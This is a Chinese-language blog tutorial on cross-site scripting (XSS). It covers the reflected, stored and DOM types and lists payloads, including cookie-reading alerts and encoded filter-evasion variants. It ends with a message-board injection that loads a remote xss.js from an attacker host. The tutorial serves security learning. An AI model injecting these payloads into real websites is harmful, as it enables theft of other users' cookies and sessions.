XSS类型概述及示范用例

XSS概念

XSS攻击全称跨站脚本攻击,是为不和CSS(Cascading Style Sheets, 层叠样式表)的缩写混淆,故将 跨站脚本攻击 缩写为XSS,它是一种在web应用中的计算机安全漏洞,允许用户恶意将代码植入到web网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生xss攻击。

XSS的危害

盗取各类用户帐号;读取、篡改、添加、删除企业敏感数据;发送电子邮件或网站挂马;控制受害者机器向其它网站发起攻击

XSS的类型

反射型XSS

反射型XSS,需要欺骗用户自己去点击链接才能触发XSS代码,是非持久化的攻击

交互表现: 用户<=>web服务端<==>服务器

举例

http://target_sys.com/xss/xss01.php?name=%3Cscript%3Ealert(/xss/)%3C/script>

image-20220724205839683

存储型XSS

存储型XSS,是持久化攻击,比如个人信息或发表文章窗口没有过滤或过滤不严时,xss代码在其实现后存储入服务器,用户访问该页面的时候触发代码执行。

交互表现: 用户<=>web服务端<=>服务器<==>数据库

截取cookie的例子

<SCRIPT>alert(document.cookie)</SCRIPT>
image-20220724211309657

dom型XSS

DOM,全称Document Object Model,是一个平台和语言 中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM型XSS是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。 客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

例子如下(IE浏览器的例子,仅作参考) 目前传统domXSS在谷歌火狐Edge等现代浏览器都不能起作用

image-20220724231656234

XSS测试用例

<SCRIPT>alert(document.cookie)</SCRIPT>
<img src=1 onerror=alert(document.cookie)
<script>alert(document.cookie)</script>  <script>alert(vulnerable)</script>
 
<s&#99;ript>alert('XSS')</script>

<img src="javas&#99;ript:alert('XSS')">

<IMG src="/JaVaScRiPt.:alert"('XSS')>

<IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>

<IMG SRC="jav&#x09;ascript.:alert('XSS');">

XSS利用操作

留言框中XSS加载payload攻击

前提,IP机中的js文件存在且可被加载

<script src="http://xxx.xxx.xxx.xxx/xss.js"></script>

加载后开发者工具网络中可查找js资源请求下载和加载js文件

image-20220724234220006

服务器文件目录

image-20220724234551733

                               以纪念我的2020......

猜你喜欢

转载自blog.csdn.net/NZXHJ/article/details/125966534